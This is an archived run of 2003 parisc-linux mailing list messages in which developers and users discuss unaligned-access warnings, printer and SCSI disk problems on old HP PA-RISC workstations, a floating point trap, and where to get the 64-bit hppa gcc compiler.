Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 00:32:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id A74E14829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 00:32:41 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CC52DCD654; Thu,  9 Jan 2003 23:36:59 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E1AA8D500000856@ocpmta8.freegates.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17305

> >Blame LaMont!
> >(yes, I'm just kidding, I've just been waiting for my chance to say
> >this... :-)
> >
> Do you think that this tcpdump pb is also related to Lamont job (to be honest
> I do not remember what was it?):

LaMont recently improved the unaligned handler to be more correct and
more robust... as well as handle more cases.
> ...
> Jan  9 09:59:58 fw01 kernel: tcpdump(4638): unaligned access to 0x0011e78a
> at ip=0x0002ab83
> Jan  9 09:59:34 fw01 kernel: tcpdump(4638): unaligned access to 0x0011e78e
> at ip=0x0002ab83
> ...

yes, tcpdump (and several other network tools) are known to generate a
lot of unaligned accesses.

> hmmm buggy: not always, the triky case is when you have to access to those
> kind of data encapsulated into a structure. I do not yet find any workaround
> or how to fix this kind of pb. Any idea (gcc-3.3?)?

eh? what do you mean? 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vilmos Soti <vilmos@vilmos.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Printing problem with HP9000 712/80
Date: Thu, 9 Jan 2003 23:39:05 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <200301100739.h0A7d5JW010596@vilmos.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622087 19625 80.91.229.3 (22 Nov 2014 02:08:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 00:48:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (1490223.cipherkey.com [64.114.149.223])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A9634829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 00:48:13 -0700 (MST)
Original-Received: from vilmos.org (my [127.0.0.1])
	by localhost.localdomain (8.12.5/8.12.5) with ESMTP id h0A7d50v010598
	for <parisc-linux@lists.parisc-linux.org>; Thu, 9 Jan 2003 23:39:05 -0800
Original-Received: (from vilmos@localhost)
	by vilmos.org (8.12.5/8.12.5/Submit) id h0A7d5JW010596
	for parisc-linux@lists.parisc-linux.org; Thu, 9 Jan 2003 23:39:05 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17306

Hello,

Thanks all of you for the answers. Now at least I know that the unaligned
access message is normal and the harmony is full duplex.

About the printer.

This is a full-blown (not windows only) printer. I tried to connect
it to another Linux box, and I could print a pcl file by catting it to
/dev/lp0. I could also print a text file (/etc/passwd and an ^L at the
end) by sending it to /dev/lp0.

However, when I connect it to the HP9000 712/80 box, then nothing happens
even if I tried to cat the same pcl file to the printer port. I massaged
the connectors to make sure that there is no contact error. This is not
the case since the printer works perfectly on the two other boxes. On
the other hand, I do have an old Panasonic dot matrix printer, and if I
connect that printer to the box, and send a text file with an ^L at the
end, it does print. So now I am in the situation that the HP computer
doesn't talk to the HP printer but to the Panasonic one.

The printer has only one connector which seems proprietary, but the
other end of the end of the cable is parallel.

Thanks, Vilmos


From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: floating point exception error
Date: Thu, 9 Jan 2003 23:54:41 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <20030110075441.GD31470@tausq.org>
References: <20021211224404.GC15219@systemhalted> <200212112305.gBBN5Bdj021432@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622087 19631 80.91.229.3 (22 Nov 2014 02:08:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 00:50:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 169E54829
	for <parisc-linux@parisc-linux.org>; Fri, 10 Jan 2003 00:50:15 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 456B7CD65A; Thu,  9 Jan 2003 23:54:41 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200212112305.gBBN5Bdj021432@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17307

In reference to a message from John David Anglin, dated Dec 11:
> > The code _seems_ to trap on a PA8600. Though I won't say anything until
> > I enable debugging in the trap handler and rerun the test.
> 
> The code doesn't seem to trap on a A500 which I believe is a PA8500.
> I think we need to look at bits 0..1 of the coprocessor configuration
> register to determine instruction validity.  See table 8-6 on page 8-11.
> I can look at what the HP compiler does.  Up to now, we have assumed
> that all PA8000 machines have the same instruction set.

i looked at this some more.. it's not that the fcnv instruction is not
implemented by the processor, but we seem to be falling into one of the
overflow/underflow cases... if you adjust the value being converted (say
remove one of the zeros), the program works without trapping.

page 10-9 of the pa20 arch manual gives the conditions under which a
floating point conversion op will cause an unimplemented exception.
however my reading of the text is that an exception is only generated if
the overflow/underflow exceptions are enabled. i've tried explicitly 
calling feclearexcept(FE_ALL_EXCEPT) before doing the fp op but it still 
causes the unimplemented exception trap.
The kernel debugs seem to indicate the O/U exceptions are not set as 
well....

puzzled,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ibm-disk on a hp 735/125
Date: Fri, 10 Jan 2003 14:42:10 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20030110124210.GG2160@aurinko.ntc.nokia.com>
References: <Pine.GSO.4.51.0301091743500.9837@sunhalle66>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622087 19636 80.91.229.3 (22 Nov 2014 02:08:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 05:42:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 065604829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 05:42:23 -0700 (MST)
Original-Received: from esvir05nok.ntc.nokia.com (esvir05nokt.ntc.nokia.com [172.21.143.37])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0ACfN017499
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 14:41:23 +0200 (EET)
Original-Received: from esebh002.NOE.Nokia.com (unverified) by esvir05nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5fb4f34022ac158f25441@esvir05nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Fri, 10 Jan 2003 14:42:13 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Fri, 10 Jan 2003 14:42:12 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h0ACgBn10756;
	Fri, 10 Jan 2003 14:42:11 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.51.0301091743500.9837@sunhalle66>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 10 Jan 2003 12:42:12.0317 (UTC) FILETIME=[B278C8D0:01C2B8A5]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17308

On Thu, Jan 09, 2003 at 05:44:31PM +0100, ext Joerg Krebs wrote:

> im running a hp 735/125 with a st31200wd 1GB harddisk, connected to the
> fast-wide scsi-connector, which run's quit nice.
> But now I want to replace the disk with a larger 4,3GB ibm dcas-34330
> disk, but I can't get it be detected by the system, I think i used the
> same jumper settings as on the old seagate drive.
> at the search for potential boot devices nothing appears.

I'd say that probably the IBM disk isn't high-voltage. The 735's 
fast-wide is fast-wide-highvoltage-differential, back then they thought 
that no one in their right minds would try to do FWSE and no one had 
thought about LVD yet, or something...

And IIRC the -wd in the Seagate model code means about that too. I don't 
know about IBM specifically.

> So perhaps someones uses the same harddisk and can tell me the right
> jumper-settings, the disk itself works fine with a normal PC with a
> scsi-wide controller.

Well, if it works in a normal PC, that usually means that it isn't HVD. I 
only know of two HVD adapters for PCs, Adaptec AHA-1744 and 2944, and 
those were always expensive ...

I suppose you could get the disk to work on a single-ended interface or 
get an appropriate EISA card.

Besides, do you mean that the 735 FWD interface works in Linux/parisc 
nowadays? Great... 


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 09:24:40 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <3E1AA8D500000877@ocpmta8.freegates.net>
References: <20030110073659.GC31470@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622088 19637 80.91.229.3 (22 Nov 2014 02:08:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 01:25:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 752764829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 01:25:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18WuTB-0000GB-00; Fri, 10 Jan 2003 09:24:49 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 10 Jan 2003 09:24:40 +0100
In-Reply-To: <20030110073659.GC31470@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17309

>-- Original Message --
>Date: Thu, 9 Jan 2003 23:36:59 -0800
>From: Randolph Chung <randolph@tausq.org>
>To: jsoe0708@tiscali.be
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] unaligned accesses
>Reply-To: Randolph Chung <randolph@tausq.org>
>
>
...
>> hmmm buggy: not always, the triky case is when you have to access to
those
>> kind of data encapsulated into a structure. I do not yet find any work=
around
>> or how to fix this kind of pb. Any idea (gcc-3.3?)?
>
>eh? what do you mean? 
>
well I will try to find back the example I encounter (somewhere in jfs-1.=
0.23
IIRC)

Cheers,
    Joel

********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pa-risc 64 compilation
Date: Fri, 10 Jan 2003 12:57:20 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20030110125720.Q26554@parcelfarce.linux.theplanet.co.uk>
References: <9A0482A7BD2506488AD9417C93F3714F0105349E@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622088 19638 80.91.229.3 (22 Nov 2014 02:08:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:08 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 05:57:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E13874829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 05:57:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Wyiu-0004to-00; Fri, 10 Jan 2003 12:57:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F0105349E@xsp01.brazil.hp.com>; from leandro.farinati@hp.com on Thu, Jan 09, 2003 at 12:52:18PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17310

On Thu, Jan 09, 2003 at 12:52:18PM -0500, FARINATI,LEANDRO (HP-Brazil,ex1) wrote:
> 	I have a problem to compile an 64 kernel in an 64 machine. The
> problem is: hppa64-linux-gcc compiler not found. Someone know what happened?
> Where I find this gcc version?

Add http://ftp.parisc-linux.org/unofficial-debs/ to your
/etc/apt/sources.list and apt-get install gcc-hppa64.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Krebs <joerg.krebs@physik.uni-muenchen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ibm-disk on a hp 735/125
Date: 10 Jan 2003 13:58:51 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <1042203531.19627.11.camel@linux>
References: <Pine.GSO.4.51.0301091743500.9837@sunhalle66> 
	<20030110124210.GG2160@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622088 19642 80.91.229.3 (22 Nov 2014 02:08:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 05:57:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from linux.imo.physik.uni-muenchen.de (pD9E4EA6F.dip.t-dialin.net [217.228.234.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id C89E94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 05:57:48 -0700 (MST)
Original-Received: from linux.imo.physik.uni-muenchen.de (localhost [127.0.0.1])
	by linux.imo.physik.uni-muenchen.de (8.12.6/8.12.6/SuSE Linux 0.6) with ESMTP id h0ACwrHJ030959;
	Fri, 10 Jan 2003 13:58:54 +0100
Original-Received: (from joerg@localhost)
	by linux.imo.physik.uni-muenchen.de (8.12.6/8.12.6/Submit) id h0ACwqhK030957;
	Fri, 10 Jan 2003 13:58:52 +0100
X-Authentication-Warning: linux.imo.physik.uni-muenchen.de: joerg set sender to joerg.krebs@physik.uni-muenchen.de using -f
In-Reply-To: <20030110124210.GG2160@aurinko.ntc.nokia.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17311

Am Fre, 2003-01-10 um 13.42 schrieb Nahkola Mikko:
> On Thu, Jan 09, 2003 at 05:44:31PM +0100, ext Joerg Krebs wrote:
> 
> > im running a hp 735/125 with a st31200wd 1GB harddisk, connected to the
> > fast-wide scsi-connector, which run's quit nice.
> > But now I want to replace the disk with a larger 4,3GB ibm dcas-34330
> > disk, but I can't get it be detected by the system, I think i used the
> > same jumper settings as on the old seagate drive.
> > at the search for potential boot devices nothing appears.
> 
> I'd say that probably the IBM disk isn't high-voltage. The 735's 
> fast-wide is fast-wide-highvoltage-differential, back then they thought 
> that no one in their right minds would try to do FWSE and no one had 
> thought about LVD yet, or something...
> 

Yes you are right, I found the HP 735 Hardware manual on the openpa
Webside and there i found that the wide-scsi connector is just for HVD

Do you know if any HVD disk is detected by the hp or are there just some
special disks for the hp ?

> And IIRC the -wd in the Seagate model code means about that too. I don't 
> know about IBM specifically.
> 
> > So perhaps someones uses the same harddisk and can tell me the right
> > jumper-settings, the disk itself works fine with a normal PC with a
> > scsi-wide controller.
> 
> Well, if it works in a normal PC, that usually means that it isn't HVD. I 
> only know of two HVD adapters for PCs, Adaptec AHA-1744 and 2944, and 
> those were always expensive ...
> 
> I suppose you could get the disk to work on a single-ended interface or 
> get an appropriate EISA card.
> 
> Besides, do you mean that the 735 FWD interface works in Linux/parisc 
> nowadays? Great... 
> 

No linux/parisc isn`t working with FWD , I suppose, I run my HP still
under HP-UX, i have another hp 735/99 on which I want to install linux
on it, but there i have se disks in it, for now I'm running linux/parisc
only on a 715/75 with an older version of linux/parisc (the one without
hil mouse support)

Thanks for your help

	J.Krebs

> 
> -- 
> Mikko Nahkola   <mikko.nahkola@nokia.com>
> Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
-- 

                         ''~``
                        ( o o )
+------------------.oooO--(_)--Oooo.------------------+
|                                                     |
|                    .oooO                            |
|                    (   )   Oooo.                    |
+---------------------\ (----(   )--------------------+
Joerg Krebs            \_)    ) /
Oettingenstr. 67             (_/
80538 Muenchen
Raum: Z1.16

Tel.: +49-89-2180-9251
Fax.: +49-89-2180-9202

Homepage:
http://www.bmo.physik.uni-muenchen.de/~krebs

------------------------------------------------JK


From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: m.delahaye@esiee.fr (Matthieu Delahaye)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 13:52:16 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030110125216.GA3358@esiee.fr>
References: <20030110073659.GC31470@tausq.org> <3E1AA8D500000877@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622089 19644 80.91.229.3 (22 Nov 2014 02:08:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:09 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 05:59:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC1F54829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 05:59:53 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 74D3549D94; Fri, 10 Jan 2003 13:59:46 +0100 (CET)
Original-Received: from charrue.esiee.fr (charrue.esiee.fr [147.215.7.31])
	by mail.esiee.fr (Postfix) with ESMTP
	id 819A449D8B; Fri, 10 Jan 2003 13:59:44 +0100 (CET)
Original-Received: by charrue.esiee.fr (Postfix, from userid 1000)
	id DE4371FF6B; Fri, 10 Jan 2003 13:52:16 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3E1AA8D500000877@ocpmta8.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17312

> >
> well I will try to find back the example I encounter (somewhere in jfs-1.0.23
> IIRC)
> 
> Cheers,
>     Joel

I remind a word access on a table of char at an odd index. Thought it
was reiserFS code.

Matthieu



From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
